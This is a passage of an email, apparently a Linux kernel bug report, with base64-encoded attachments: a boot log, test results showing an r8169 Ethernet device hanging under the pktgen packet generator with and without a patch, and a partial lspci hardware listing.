MCBhdCBJL08gMHgzZjggKGlycSA9IDQpIGlzIGEgTlMxNjU1MEENClVuaWZvcm0gTXVsdGktUGxh dGZvcm0gRS1JREUgZHJpdmVyIFJldmlzaW9uOiA3LjAwYWxwaGEyDQppZGU6IEFzc3VtaW5nIDMz TUh6IHN5c3RlbSBidXMgc3BlZWQgZm9yIFBJTyBtb2Rlczsgb3ZlcnJpZGUgd2l0aCBpZGVidXM9 eHgNClNJUzU1MTM6IElERSBjb250cm9sbGVyIGF0IFBDSSBzbG90IDAwMDA6MDA6MDIuNQ0KU0lT NTUxMzogY2hpcHNldCByZXZpc2lvbiAwDQpTSVM1NTEzOiBub3QgMTAwJSBuYXRpdmUgbW9kZTog d2lsbCBwcm9iZSBpcnFzIGxhdGVyDQpTSVM1NTEzOiBTaVMgOTYyLzk2MyBNdVRJT0wgSURFIFVE TUExMzMgY29udHJvbGxlcg0KICAgIGlkZTA6IEJNLURNQSBhdCAweGZmYTAtMHhmZmE3LCBCSU9T IHNldHRpbmdzOiBoZGE6RE1BLCBoZGI6RE1BDQogICAgaWRlMTogQk0tRE1BIGF0IDB4ZmZhOC0w eGZmYWYsIEJJT1Mgc2V0dGluZ3M6IGhkYzpETUEsIGhkZDpETUENCmhkYTogSFRTNzI2MDYwTTlB VDAwLCBBVEEgRElTSyBkcml2ZQ0KVXNpbmcgYW50aWNpcGF0b3J5IGlvIHNjaGVkdWxlcg0KaWRl MCBhdCAweDFmMC0weDFmNywweDNmNiBvbiBpcnEgMTQNCmhkYzogUVNJIENELVJXL0RWRC1ST00g U0JXMjQyVSwgQVRBUEkgQ0QvRFZELVJPTSBkcml2ZQ0KaWRlMSBhdCAweDE3MC0weDE3NywweDM3 NiBvbiBpcnEgMTUNCmhkYTogbWF4IHJlcXVlc3Qgc2l6ZTogMTAyNEtpQg0KaGRhOiAxMTcyMTAy NDAgc2VjdG9ycyAoNjAwMTEgTUIpIHcvNzg3N0tpQiBDYWNoZSwgQ0hTPTE2MzgzLzI1NS82Mywg VURNQSgzMykNCiAvZGV2L2lkZS9ob3N0MC9idXMwL3RhcmdldDAvbHVuMDogcDEgcDIgcDMgcDQg PCBwNSBwNiA+DQpDb25zb2xlOiBzd2l0Y2hpbmcgdG8gY29sb3VyIGZyYW1lIGJ1ZmZlciBkZXZp Y2UgMTI4eDQ4DQptaWNlOiBQUy8yIG1vdXNlIGRldmljZSBjb21tb24gZm9yIGFsbCBtaWNlDQpp ODA0Mi5jOiBEZXRlY3RlZCBhY3RpdmUgbXVsdGlwbGV4aW5nIGNvbnRyb2xsZXIsIHJldiAxLjAu DQpzZXJpbzogaTgwNDIgQVVYMCBwb3J0IGF0IDB4NjAsMHg2NCBpcnEgMTINCnNlcmlvOiBpODA0 MiBBVVgxIHBvcnQgYXQgMHg2MCwweDY0IGlycSAxMg0KU3luYXB0aWNzIFRvdWNocGFkLCBtb2Rl bDogMQ0KIEZpcm13YXJlOiA1LjkNCiAxODAgZGVncmVlIG1vdW50ZWQgdG91Y2hwYWQNCiBTZW5z b3I6IDM1DQogbmV3IGFic29sdXRlIHBhY2tldCBmb3JtYXQNCiBUb3VjaHBhZCBoYXMgZXh0ZW5k ZWQgY2FwYWJpbGl0eSBiaXRzDQogLT4gbXVsdGlmaW5nZXIgZGV0ZWN0aW9uDQogLT4gcGFsbSBk ZXRlY3Rpb24NCmlucHV0OiBTeW5QUy8yIFN5bmFwdGljcyBUb3VjaFBhZCBvbiBpc2EwMDYwL3Nl cmlvMg0Kc2VyaW86IGk4MDQyIEFVWDIgcG9ydCBhdCAweDYwLDB4NjQgaXJxIDEyDQpzZXJpbzog aTgwNDIgQVVYMyBwb3J0IGF0IDB4NjAsMHg2NCBpcnEgMTINCnNlcmlvOiBpODA0MiBLQkQgcG9y dCBhdCAweDYwLDB4NjQgaXJxIDENCmlucHV0OiBBVCBUcmFuc2xhdGVkIFNldCAyIGtleWJvYXJk IG9uIGlzYTAwNjAvc2VyaW8wDQpkZXZpY2UtbWFwcGVyOiA0LjAuMC1pb2N0bCAoMjAwMy0wNi0w NCkgaW5pdGlhbGlzZWQ6IGRtQHVrLnNpc3RpbmEuY29tDQpORVQ6IFJlZ2lzdGVyZWQgcHJvdG9j b2wgZmFtaWx5IDINCklQOiByb3V0aW5nIGNhY2hlIGhhc2ggdGFibGUgb2YgODE5MiBidWNrZXRz LCA2NEtieXRlcw0KVENQOiBIYXNoIHRhYmxlcyBjb25maWd1cmVkIChlc3RhYmxpc2hlZCAyNjIx NDQgYmluZCA2NTUzNikNCk5FVDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1pbHkgMQ0KTkVUOiBS ZWdpc3RlcmVkIHByb3RvY29sIGZhbWlseSAxNw0KUE06IFJlYWRpbmcgcG1kaXNrIGltYWdlLg0K UE06IFJlc3VtZSBmcm9tIGRpc2sgZmFpbGVkLg0KZm91bmQgcmVpc2VyZnMgZm9ybWF0ICIzLjYi IHdpdGggc3RhbmRhcmQgam91cm5hbA0KUmVpc2VyZnMgam91cm5hbCBwYXJhbXM6IGRldmljZSBo ZGE1LCBzaXplIDgxOTIsIGpvdXJuYWwgZmlyc3QgYmxvY2sgMTgsIG1heCB0cmFucyBsZW4gMTAy NCwgbWF4IGJhdGNoIDkwMCwgbWF4IGNvbW1pdCBhZ2UgMzAsIG1heCB0cmFucyBhZ2UgMzANCnJl aXNlcmZzOiBjaGVja2luZyB0cmFuc2FjdGlvbiBsb2cgKGhkYTUpIGZvciAoaGRhNSkNClVzaW5n IHI1IGhhc2ggdG8gc29ydCBuYW1lcw0KVkZTOiBNb3VudGVkIHJvb3QgKHJlaXNlcmZzIGZpbGVz eXN0ZW0pIHJlYWRvbmx5Lg0KRnJlZWluZyB1bnVzZWQga2VybmVsIG1lbW9yeTogMTMyayBmcmVl ZA0KQWRkaW5nIDEwMDQwNTJrIHN3YXAgb24gL2Rldi9oZGEzLiAgUHJpb3JpdHk6LTEgZXh0ZW50 czoxDQpjZHJvbTogOiB1bmtub3duIG1ydyBtb2RlIHBhZ2UNCmhkYzogQVRBUEkgMjRYIERWRC1S T00gQ0QtUi9SVyBkcml2ZSwgMjA0OGtCIENhY2hlLCBVRE1BKDMzKQ0KVW5pZm9ybSBDRC1ST00g ZHJpdmVyIFJldmlzaW9uOiAzLjIwDQpudmlkaWE6IG5vIHZlcnNpb24gbWFnaWMsIHRhaW50aW5n IGtlcm5lbC4NCm52aWRpYTogbW9kdWxlIGxpY2Vuc2UgJ05WSURJQScgdGFpbnRzIGtlcm5lbC4N CjA6IG52aWRpYTogbG9hZGluZyBOVklESUEgTGludXggeDg2IG52aWRpYS5vIEtlcm5lbCBNb2R1 bGUgIDEuMC00NDk2ICBXZWQgSnVsIDE2IDE5OjAzOjA5IFBEVCAyMDAzDQpjZHJvbTogb3BlbiBm YWlsZWQuDQpmb3VuZCByZWlzZXJmcyBmb3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFs DQpSZWlzZXJmcyBqb3VybmFsIHBhcmFtczogZGV2aWNlIGRtLTIsIHNpemUgODE5Miwgam91cm5h bCBmaXJzdCBibG9jayAxOCwgbWF4IHRyYW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXgg Y29tbWl0IGFnZSAzMCwgbWF4IHRyYW5zIGFnZSAzMA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5z YWN0aW9uIGxvZyAoZG0tMikgZm9yIChkbS0yKQ0KVXNpbmcgcjUgaGFzaCB0byBzb3J0IG5hbWVz DQpmb3VuZCByZWlzZXJmcyBmb3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlz ZXJmcyBqb3VybmFsIHBhcmFtczogZGV2aWNlIGRtLTMsIHNpemUgODE5Miwgam91cm5hbCBmaXJz dCBibG9jayAxOCwgbWF4IHRyYW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXggY29tbWl0 IGFnZSAzMCwgbWF4IHRyYW5zIGFnZSAzMA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5zYWN0aW9u IGxvZyAoZG0tMykgZm9yIChkbS0zKQ0KVXNpbmcgcjUgaGFzaCB0byBzb3J0IG5hbWVzDQpmb3Vu ZCByZWlzZXJmcyBmb3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlzZXJmcyBq b3VybmFsIHBhcmFtczogZGV2aWNlIGRtLTAsIHNpemUgODE5Miwgam91cm5hbCBmaXJzdCBibG9j ayAxOCwgbWF4IHRyYW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXggY29tbWl0IGFnZSAz MCwgbWF4IHRyYW5zIGFnZSAzMA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5zYWN0aW9uIGxvZyAo ZG0tMCkgZm9yIChkbS0wKQ0KVXNpbmcgcjUgaGFzaCB0byBzb3J0IG5hbWVzDQpmb3VuZCByZWlz ZXJmcyBmb3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlzZXJmcyBqb3VybmFs IHBhcmFtczogZGV2aWNlIGRtLTQsIHNpemUgODE5Miwgam91cm5hbCBmaXJzdCBibG9jayAxOCwg bWF4IHRyYW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXggY29tbWl0IGFnZSAzMCwgbWF4 IHRyYW5zIGFnZSAzMA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5zYWN0aW9uIGxvZyAoZG0tNCkg Zm9yIChkbS00KQ0KVXNpbmcgcjUgaGFzaCB0byBzb3J0IG5hbWVzDQpmb3VuZCByZWlzZXJmcyBm b3JtYXQgIjMuNiIgd2l0aCBzdGFuZGFyZCBqb3VybmFsDQpSZWlzZXJmcyBqb3VybmFsIHBhcmFt czogZGV2aWNlIGRtLTEsIHNpemUgODE5Miwgam91cm5hbCBmaXJzdCBibG9jayAxOCwgbWF4IHRy YW5zIGxlbiAxMDI0LCBtYXggYmF0Y2ggOTAwLCBtYXggY29tbWl0IGFnZSAzMCwgbWF4IHRyYW5z IGFnZSAzMA0KcmVpc2VyZnM6IGNoZWNraW5nIHRyYW5zYWN0aW9uIGxvZyAoZG0tMSkgZm9yIChk bS0xKQ0KVXNpbmcgcjUgaGFzaCB0byBzb3J0IG5hbWVzDQpOVEZTIGRyaXZlciAyLjEuNiBbRmxh Z3M6IFIvTyBNT0RVTEVdLg0KTlRGUyB2b2x1bWUgdmVyc2lvbiAzLjEuDQpkcml2ZXJzL3VzYi9j b3JlL3VzYi5jOiByZWdpc3RlcmVkIG5ldyBkcml2ZXIgdXNiZnMNCmRyaXZlcnMvdXNiL2NvcmUv dXNiLmM6IHJlZ2lzdGVyZWQgbmV3IGRyaXZlciBodWINClJlYWwgVGltZSBDbG9jayBEcml2ZXIg djEuMTINCnJlcXVlc3RfbW9kdWxlOiBmYWlsZWQgL3NiaW4vbW9kcHJvYmUgLS0gc25kLWNhcmQt MC4gZXJyb3IgPSAyNTYNCmludGVsOHgwOiBjbG9ja2luZyB0byA0ODAwMA0KcjgxNjkgR2lnYWJp dCBFdGhlcm5ldCBkcml2ZXIgMS4yIGxvYWRlZA0KcjgxNjk6IFBDSSBkZXZpY2UgMDAwMDowMDow YS4wOiB1bmtub3duIGNoaXAgdmVyc2lvbiwgYXNzdW1pbmcgUlRMLTgxNjkNCnI4MTY5OiBQQ0kg ZGV2aWNlIDAwMDA6MDA6MGEuMDogVHhDb25maWcgPSAweDQwMDAwMDANCmV0aDA6IElkZW50aWZp ZWQgY2hpcCB0eXBlIGlzICdSVEwtODE2OScuDQpldGgwOiBSZWFsVGVrIFJUTDgxNjkgR2lnYWJp dCBFdGhlcm5ldCBhdCAweGY5YjFlYzAwLCAwMDowMzowZDoxMDo0NTozYywgSVJRIDMNCmV0aDA6 IEF1dG8tbmVnb3RpYXRpb24gRW5hYmxlZC4NCmV0aDA6IDEwME1icHMgRnVsbC1kdXBsZXggb3Bl cmF0aW9uLg0KTGludXggS2VybmVsIENhcmQgU2VydmljZXMNCiAgb3B0aW9uczogIFtwY2ldIFtj YXJkYnVzXSBbcG1dDQpZZW50YTogQ2FyZEJ1cyBicmlkZ2UgZm91bmQgYXQgMDAwMDowMDowOS4w IFsxNTg0OjMwMDVdDQpZZW50YTogSVNBIElSUSBtYXNrIDB4MDJiMCwgUENJIGlycSAxMA0KU29j a2V0IHN0YXR1czogMzAwMDAwMDYNClllbnRhOiBDYXJkQnVzIGJyaWRnZSBmb3VuZCBhdCAwMDAw OjAwOjA5LjEgWzE1ODQ6MzAwNV0NClllbnRhOiBJU0EgSVJRIG1hc2sgMHgwMmIwLCBQQ0kgaXJx IDEwDQpTb2NrZXQgc3RhdHVzOiAzMDAwMDAwNg0KZWhjaV9oY2QgMDAwMDowMDowMy4zOiBFSENJ IEhvc3QgQ29udHJvbGxlcg0KZWhjaV9oY2QgMDAwMDowMDowMy4zOiBpcnEgMTEsIHBjaSBtZW0g ZjlmMjAwMDANCmVoY2lfaGNkIDAwMDA6MDA6MDMuMzogbmV3IFVTQiBidXMgcmVnaXN0ZXJlZCwg YXNzaWduZWQgYnVzIG51bWJlciAxDQpQQ0k6IGNhY2hlIGxpbmUgc2l6ZSBvZiAxMjggaXMgbm90 IHN1cHBvcnRlZCBieSBkZXZpY2UgMDAwMDowMDowMy4zDQplaGNpX2hjZCAwMDAwOjAwOjAzLjM6 IFVTQiAyLjAgZW5hYmxlZCwgRUhDSSAxLjAwLCBkcml2ZXIgMjAwMy1EZWMtMjkNCmh1YiAxLTA6 MS4wOiBVU0IgaHViIGZvdW5kDQpodWIgMS0wOjEuMDogNiBwb3J0cyBkZXRlY3RlZA0Kb2hjaV9o Y2Q6IDIwMDMgT2N0IDEzIFVTQiAxLjEgJ09wZW4nIEhvc3QgQ29udHJvbGxlciAoT0hDSSkgRHJp dmVyIChQQ0kpDQpvaGNpX2hjZDogYmxvY2sgc2l6ZXM6IGVkIDY0IHRkIDY0DQpvaGNpX2hjZCAw MDAwOjAwOjAzLjA6IE9IQ0kgSG9zdCBDb250cm9sbGVyDQpvaGNpX2hjZCAwMDAwOjAwOjAzLjA6 IGlycSAxMSwgcGNpIG1lbSBmOWY1MzAwMA0Kb2hjaV9oY2QgMDAwMDowMDowMy4wOiBuZXcgVVNC IGJ1cyByZWdpc3RlcmVkLCBhc3NpZ25lZCBidXMgbnVtYmVyIDINCmh1YiAyLTA6MS4wOiBVU0Ig aHViIGZvdW5kDQpodWIgMi0wOjEuMDogMiBwb3J0cyBkZXRlY3RlZA0Kb2hjaV9oY2QgMDAwMDow MDowMy4xOiBPSENJIEhvc3QgQ29udHJvbGxlcg0Kb2hjaV9oY2QgMDAwMDowMDowMy4xOiBpcnEg MTAsIHBjaSBtZW0gZjlmNTUwMDANCm9oY2lfaGNkIDAwMDA6MDA6MDMuMTogbmV3IFVTQiBidXMg cmVnaXN0ZXJlZCwgYXNzaWduZWQgYnVzIG51bWJlciAzDQpodWIgMy0wOjEuMDogVVNCIGh1YiBm b3VuZA0KaHViIDMtMDoxLjA6IDIgcG9ydHMgZGV0ZWN0ZWQNCm9oY2lfaGNkIDAwMDA6MDA6MDMu MjogT0hDSSBIb3N0IENvbnRyb2xsZXINCm9oY2lfaGNkIDAwMDA6MDA6MDMuMjogaXJxIDExLCBw Y2kgbWVtIGY5ZjU3MDAwDQpvaGNpX2hjZCAwMDAwOjAwOjAzLjI6IG5ldyBVU0IgYnVzIHJlZ2lz dGVyZWQsIGFzc2lnbmVkIGJ1cyBudW1iZXIgNA0KaHViIDQtMDoxLjA6IFVTQiBodWIgZm91bmQN Cmh1YiA0LTA6MS4wOiAyIHBvcnRzIGRldGVjdGVkDQpvaGNpMTM5NDogJFJldjogMTA5NyAkIEJl biBDb2xsaW5zIDxiY29sbGluc0BkZWJpYW4ub3JnPg0Kb2hjaTEzOTQ6IGZ3LWhvc3QwOiBVbmV4 cGVjdGVkIFBDSSByZXNvdXJjZSBsZW5ndGggb2YgMTAwMCENCm9oY2kxMzk0OiBmdy1ob3N0MDog T0hDSS0xMzk0IDEuMCAoUENJKTogSVJRPVsxMF0gIE1NSU89W2RmZmU5MDAwLWRmZmU5N2ZmXSAg TWF4IFBhY2tldD1bMjA0OF0NCkxpbnV4IGFncGdhcnQgaW50ZXJmYWNlIHYwLjEwMCAoYykgRGF2 ZSBKb25lcw0KYWdwZ2FydDogRGV0ZWN0ZWQgU2lTIDY0OCBjaGlwc2V0DQphZ3BnYXJ0OiBNYXhp bXVtIG1haW4gbWVtb3J5IHRvIHVzZSBmb3IgYWdwIG1lbW9yeTogODE2TQ0KYWdwZ2FydDogQUdQ IGFwZXJ0dXJlIGlzIDI1Nk0gQCAweGUwMDAwMDAwDQppZWVlMTM5NDogSG9zdCBhZGRlZDogSUQ6 QlVTWzAtMDA6MTAyM10gIEdVSURbMDAwMzBkNTM3NjYwMjY2Y10NCmh1YiAyLTA6MS4wOiBuZXcg VVNCIGRldmljZSBvbiBwb3J0IDEsIGFzc2lnbmVkIGFkZHJlc3MgMg0KZHJpdmVycy91c2IvY29y ZS91c2IuYzogcmVnaXN0ZXJlZCBuZXcgZHJpdmVyIGhpZA0KZHJpdmVycy91c2IvaW5wdXQvaGlk LWNvcmUuYzogdjIuMDpVU0IgSElEIGNvcmUgZHJpdmVyDQppbnB1dDogVVNCIEhJRCB2MS4xMCBN b3VzZSBbTG9naXRlY2ggVVNCLVBTLzIgT3B0aWNhbCBNb3VzZV0gb24gdXNiLTAwMDA6MDA6MDMu MC0xDQpodWIgMy0wOjEuMDogbmV3IFVTQiBkZXZpY2Ugb24gcG9ydCAyLCBhc3NpZ25lZCBhZGRy ZXNzIDINCmlucHV0OiBVU0IgSElEIHYxLjEwIE1vdXNlIFtDeXByZXNzIFNlbWljb25kdWN0b3Ig VVNCIE11bHRpIFJlbW90ZSBDb250cm9sbGVyXSBvbiB1c2ItMDAwMDowMDowMy4xLTINCkhJRCBk ZXZpY2Ugbm90IGNsYWltZWQgYnkgaW5wdXQgb3IgaGlkZGV2DQpoaWQ6IHByb2JlIG9mIDMtMjox LjEgZmFpbGVkIHdpdGggZXJyb3IgLTUNCnBhcnBvcnQwOiBQQy1zdHlsZSBhdCAweDI3OCAoMHg2 NzgpIFtQQ1NQUCxUUklTVEFURSxFUFBdDQpwYXJwb3J0MDogaXJxIDUgZGV0ZWN0ZWQNCnBhcnBv cnQwOiBjcHBfZGFpc3k6IGFhNTUwMGZmKDM4KQ0KcGFycG9ydDA6IGFzc2lnbl9hZGRyczogYWE1 NTAwZmYoMzgpDQpwYXJwb3J0MDogY3BwX2RhaXN5OiBhYTU1MDBmZigzOCkNCnBhcnBvcnQwOiBh c3NpZ25fYWRkcnM6IGFhNTUwMGZmKDM4KQ0KbHAwOiB1c2luZyBwYXJwb3J0MCAocG9sbGluZyku DQpORVQ6IFJlZ2lzdGVyZWQgcHJvdG9jb2wgZmFtaWx5IDEwDQpEaXNhYmxlZCBQcml2YWN5IEV4 dGVuc2lvbnMgb24gZGV2aWNlIGMwMzUzMTgwKGxvKQ0KSVB2NiBvdmVyIElQdjQgdHVubmVsaW5n IGRyaXZlcg0KMDogTlZSTTogbm90IHVzaW5nIE5WQUdQLCBBR1BHQVJUIGlzIGxvYWRlZCEhDQph dGtiZC5jOiBVbmtub3duIGtleSByZWxlYXNlZCAodHJhbnNsYXRlZCBzZXQgMiwgY29kZSAweDdh IG9uIGlzYTAwNjAvc2VyaW8wKS4NCmF0a2JkLmM6IFVua25vd24ga2V5IHJlbGVhc2VkICh0cmFu c2xhdGVkIHNldCAyLCBjb2RlIDB4N2Egb24gaXNhMDA2MC9zZXJpbzApLg0KZXRoMDogbm8gSVB2 NiByb3V0ZXJzIHByZXNlbnQNCnBrdGdlbi5jOiB2MS4zOiBQYWNrZXQgR2VuZXJhdG9yIGZvciBw YWNrZXQgcGVyZm9ybWFuY2UgdGVzdGluZy4NCk5FVERFViBXQVRDSERPRzogZXRoMDogdHJhbnNt aXQgdGltZWQgb3V0DQo= --=-dz+BR0MQyEpTpwYPNQoK Content-Disposition: attachment; filename=results.txt Content-Type: text/plain; name=results.txt; charset=ANSI_X3.4-1968 Content-Transfer-Encoding: base64 VW5wYXRjaGVkIHdpdGhvdXQgU01QLiAgDQpSdW5uaW5nIHRoZSBwYWNrZXQgZ2VuZXJhdG9yIGNh dXNlcyB0aGUgcGFja2V0IGdlbmVyYXRvciBwcm9jZXNzIHRvIA0KaGFuZy4gIEl0IGRvZXNuJ3Qg YXBwZWFyIHRvIGNvbXBsZXRlIG5vcm1hbGx5LiAgVGhlIG5ldGRldiB3YXRjaGRvZyANCmNvbXBs YWlucyBvZiBhIHRpbWVvdXQuICBLaWxsaW5nIHRoZSBwYWNrZXQgZ2VuZXJhdG9yIHdvcmtzLiAg SG93ZXZlciwgDQp0aGUgbmV0d29yayBkZXZpY2UgYmVjb21lcyB1bnJlc3BvbnNpdmUgLS0gcmVx dWlyaW5nIGEgcmVib290LiAgVW5kZXIgDQpub3JtYWwgbG9hZCwgdGhpcyBrZXJuZWwgc2VlbXMg dG8gd29yay4NCg0KUGF0Y2hlZCB3aXRoIFNNUC4NClJ1bm5pbmcgdGhlIHBhY2tldCBnZW5lcmF0 b3IgY2F1c2VzIHRoZSBwYWNrZXQgZ2VuZXJhdG9yIHRvIGNvbXBsZXRlLCANCmJ1dCB0aGUgbmV0 ZGV2IHdhdGNoZG9nIHN0aWxsIGNvbXBsYWlucyBvZiBhIHRpbWVvdXQuICBTdXJlIGVub3VnaCwg dGhlIA0KbmV0d29yayBkZXZpY2UgYmVjb21lcyB1bnJlc3BvbnNpdmUgLS0gcmVxdWlyaW5nIGEg cmVib290LiAgVGhpcyBzeXN0ZW0sIA0KZHVyaW5nIG5vcm1hbCBsb2FkLCBpcyBjb21wbGV0ZWx5 IHVudXNhYmxlLiAgVGhlIGZpcnN0IG5ldHdvcmsgcmVxdWVzdCANCnNlZW1zIHRvIGxvY2sgdGhl IG5ldHdvcmsgZGV2aWNlLg0KDQpQYXRjaGVkIHdpdGhvdXQgU01QLg0KUnVubmluZyB0aGUgcGFj a2V0IGdlbmVyYXRvciBjYXVzZXMgdGhlIHBhY2tldCBnZW5lcmF0b3IgdG8gY29tcGxldGUsIA0K YnV0IHRoZSBuZXRkZXYgd2F0Y2hkb2cgc3RpbGwgY29tcGxhaW5zIG9mIGEgdGltZW91dC4gIFN1 cmUgZW5vdWdoLCB0aGUgDQpuZXR3b3JrIGRldmljZSBiZWNvbWVzIHVucmVzcG9uc2l2ZSAtLSBy ZXF1aXJpbmcgYSByZWJvb3QuICBUaGlzIHN5c3RlbSwgDQpkdXJpbmcgbm9ybWFsIGxvYWQsIGlz IGNvbXBsZXRlbHkgdW51c2FibGUuICBUaGUgZmlyc3QgbmV0d29yayByZXF1ZXN0IA0Kc2VlbXMg dG8gbG9jayB0aGUgbmV0d29yayBkZXZpY2UuDQo= --=-dz+BR0MQyEpTpwYPNQoK Content-Disposition: attachment; filename=lspci.txt Content-Type: text/plain; name=lspci.txt; charset=ANSI_X3.4-1968 Content-Transfer-Encoding: base64 MDA6MDAuMCBIb3N0IGJyaWRnZTogU2lsaWNvbiBJbnRlZ3JhdGVkIFN5c3RlbXMgW1NpU10gU2lT IDY0NXh4IChyZXYgNTEpDQoJQ29udHJvbDogSS9PKyBNZW0rIEJ1c01hc3RlcisgU3BlY0N5Y2xl LSBNZW1XSU5WLSBWR0FTbm9vcC0gUGFyRXJyLSBTdGVwcGluZy0gU0VSUi0gRmFzdEIyQi0NCglT dGF0dXM6IENhcCsgNjZNaHotIFVERi0gRmFzdEIyQi0gUGFyRXJyLSBERVZTRUw9bWVkaXVtID5U QWJvcnQtIDxUQWJvcnQtIDxNQWJvcnQrID5TRVJSLSA8UEVSUi0NCglMYXRlbmN5OiAzMg0KCVJl Z2lvbiAwOiBNZW1vcnkgYXQgZTAwMDAwMDAgKDMyLWJpdCwgbm9uLXByZWZldGNoYWJsZSkgW3Np emU9MjU2TV0NCglDYXBhYmlsaXRpZXM6IFtjMF0gQUdQIHZlcnNpb24gMy41DQoJCVN0YXR1czog UlE9MzIgSXNvLSBBcnFTej0yIENhbD0zIFNCQSsgSVRBQ29oLSBHQVJUNjQtIEhUcmFucy0gNjRi aXQtIEZXLSBBR1AzKyBSYXRlPXg0LHg4DQoJCUNvbW1hbmQ6IFJRPTEgQXJxU3o9MCBDYWw9MCBT QkEtIEFHUC0gR0FSVDY0LSA2NGJpdC0gRlctIFJhdGU9PG5vbmU+DQoNCjAwOjAxLjAgUENJIGJy aWRnZTogU2lsaWNvbiBJbnRlZ3JhdGVkIFN5c3RlbXMgW1NpU106IFVua25vd24gZGV2aWNlIDAw MDMgKHByb2ctaWYgMDAgW05vcm1hbCBkZWNvZGVdKQ0KCUNvbnRyb2w6IEkvTysgTWVtKyBCdXNN YXN0ZXIrIFNwZWNDeWNsZS0gTWVtV0lOVi0gVkdBU25vb3AtIFBhckVyci0gU3RlcHBpbmctIFNF UlIrIEZhc3RCMkItDQoJU3RhdHVzOiBDYXAtIDY2TWh6KyBVREYtIEZhc3RCMkItIFBhckVyci0g REVWU0VMPWZhc3QgPlRBYm9ydC0gPFRBYm9ydC0gPE1BYm9ydC0gPlNFUlItIDxQRVJSLQ0KCUxh dGVuY3k6IDY0DQoJQnVzOiBwcmltYXJ5PTAwLCBzZWNvbmRhcnk9MDEsIHN1Ym9yZGluYXRlPTAx LCBzZWMtbGF0ZW5jeT02NA0KCUkvTyBiZWhpbmQgYnJpZGdlOiAwMDAwZjAwMC0wMDAwMGZmZg0K CU1lbW9yeSBiZWhpbmQgYnJpZGdlOiBkZGUwMDAwMC1kZmVmZmZmZg0KCVByZWZldGNoYWJsZSBt ZW1vcnkgYmVoaW5kIGJyaWRnZTogYmRkMDAwMDAtZGRjZmZmZmYNCglCcmlkZ2VDdGw6IFBhcml0 eS0gU0VSUi0gTm9JU0ErIFZHQSsgTUFib3J0LSA+UmVzZXQtIEZhc3RCMkItDQoNCjAwOjAyLjAg SVNBIGJyaWRnZTogU2lsaWNvbiBJbnRlZ3JhdGVkIFN5c3RlbXMgW1NpU106IFVua25vd24gZGV2 aWNlIDA5NjMgKHJldiAxNCkNCglDb250cm9sOiBJL08rIE1lbSsgQnVzTWFzdGVyKyBTcGVjQ3lj bGUrIE1lbVdJTlYtIFZHQVNub29wLSBQYXJFcnItIFN0ZXBwaW5nLSBTRVJSLSBGYXN0QjJCLQ0K CVN0YXR1czogQ2FwLSA2Nk1oei0gVURGLSBGYXN0QjJCLSBQYXJFcnItIERFVlNFTD1tZWRpdW0g PlRBYm9ydC0gPFRBYm9ydC0gPE1BYm9ydC0gPlNFUlItIDxQRVJSLQ0KCUxhdGVuY3k6IDANCg0K MDA6MDIuMSBTTUJ1czogU2lsaWNvbiBJbnRlZ3JhdGVkIFN5c3RlbXMgW1NpU106IFVua25vd24g ZGV2aWNlIDAwMTYNCglDb250cm9sOiBJL08rIE1lbS0gQnVzTWFzdGVyLSBTcGVjQ3ljbGUtIE1l bVdJTlYtIFZHQVNub29wLSBQYXJFcnItIFN0ZXBwaW5nLSBTRVJSLSBGYXN0QjJCLQ0KCVN0YXR1 czogQ2FwLSA2Nk1oei0gVURGLSBGYXN0QjJCKyBQYXJFcnItIERFVlNFTD1tZWRpdW0gPlRBYm9y dC0gPFRBYm9ydC0gPE1BYm9ydC0gPlNFUlItIDxQRVJSLQ0KCUludGVycnVwdDogcGluIEIgcm91 dGVkIHRvIElSUSAxMA0KCVJlZ2lvbiA0OiBJL08gcG9ydHMgYXQgMGMwMCBbc2l6ZT0zMl0NCg0K MDA6MDIuMyBGaXJlV2lyZSAoSUVFRSAxMzk0KTogU2lsaWNvbiBJbnRlZ3JhdGVkIFN5c3RlbXMg W1NpU10gRmlyZVdpcmUgQ29udHJvbGxlciAocHJvZy1pZiAxMCBbT0hDSV0pDQoJU3Vic3lzdGVt OiBVbml3aWxsIENvbXB1dGVyIENvcnA6IFVua25vd24gZGV2aWNlIDU1MDANCglDb250cm9sOiBJ L08tIE1lbSsgQnVzTWFzdGVyKyBTcGVjQ3ljbGUtIE1lbVdJTlYtIFZHQVNub29wLSBQYXJFcnIt IFN0ZXBwaW5nLSBTRVJSKyBGYXN0QjJCLQ0KCVN0YXR1czogQ2FwKyA2Nk1oei0gVURGLSBGYXN0 QjJCLSBQYXJFcnItIERFVlNFTD1tZWRpdW0gPlRBYm9ydC0gPFRBYm9ydC0gPE1BYm9ydC0gPlNF UlItIDxQRVJSLQ0KCUxhdGVuY3k6IDY0ICgxMDAwbnMgbWluLCAzMDAwbnMgbWF4KQ0KCUludGVy cnVwdDogcGluIEIgcm91dGVkIHRvIElSUSAxMA0KCVJlZ2lvbiAwOiBNZW1vcnkgYXQgZGZmZTkw MDAgKDMyLWJpdCwgbm9uLXByZWZldGNoYWJsZSkgW3NpemU9NEtdDQoJRXhwYW5zaW9uIFJPTSBh dCBkZmZhMDAwMCBbZGlzYWJsZWRdIFtzaXplPTEyOEtdDQoJQ2FwYWJpbGl0aWVzOiBbNjRdIFBv d2VyIE1hbmFnZW1lbnQgdmVyc2lvbiAyDQoJCUZsYWdzOiBQTUVDbGstIERTSS0gRDErIEQyKyBB dXhDdXJyZW50PTU1bUEgUE1FKEQwKyxEMSssRDIrLEQzaG90KyxEM2NvbGQrKQ0KCQlTdGF0dXM6 IEQwIFBNRS1FbmFibGUtIERTZWw9MCBEU2NhbGU9MCBQTUUrDQoNCjAwOjAyLjUgSURFIGludGVy 